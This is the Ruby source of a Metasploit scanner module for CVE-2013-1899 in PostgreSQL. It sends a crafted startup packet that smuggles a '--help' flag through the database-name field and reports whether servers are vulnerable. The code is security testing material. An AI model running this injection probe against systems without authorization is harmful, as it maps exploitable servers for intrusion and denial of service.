76 lines
2.1 KiB
Ruby
76 lines
2.1 KiB
Ruby
##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::Remote::Tcp
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include Msf::Auxiliary::Scanner
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include Msf::Auxiliary::Report
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# Creates an instance of this module.
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'PostgreSQL Database Name Command Line Flag Injection',
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'Description' => %q{
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This module can identify PostgreSQL 9.0, 9.1, and 9.2 servers that are
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vulnerable to command-line flag injection through CVE-2013-1899. This
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can lead to denial of service, privilege escalation, or even arbitrary
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code execution.
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},
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'Author' => [ 'hdm' ],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2013-1899' ],
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[ 'URL', 'http://www.postgresql.org/support/security/faq/2013-04-04/' ]
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]
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))
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register_options([ Opt::RPORT(5432) ], self.class)
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end
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def run_host(ip)
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request =
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"\x00\x03\x00\x00" +
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"user\x00" +
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Rex::Text.rand_text_alpha(rand(4)+4) + "\x00" +
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"database\x00" +
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"--help\x00" +
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"application_name\x00" +
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Rex::Text.rand_text_alpha(rand(4)+4) + "\x00\x00"
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connect
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probe = [request.length + 4].pack("N") + request
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sock.put(probe)
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resp = sock.get_once(-1, 5)
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if resp.to_s =~ /process_postgres_switches/
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proof = resp[4, resp.length-4].to_s.gsub("\x00", " ")
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print_good("#{rhost}:#{rport} is vulnerable to CVE-2013-1899: #{proof}")
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report_vuln({
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:host => rhost,
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:port => rport,
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:proto => 'tcp',
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:sname => 'postgres',
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:name => self.name,
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:info => "Vulnerable: " + proof,
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:refs => self.references
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})
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elsif resp.to_s =~ /pg_hba\.conf/
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print_error("#{rhost}:#{rport} does not allow connections from us")
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else
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print_status("#{rhost}:#{rport} does not appear to be vulnerable to CVE-2013-1899")
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end
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end
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end
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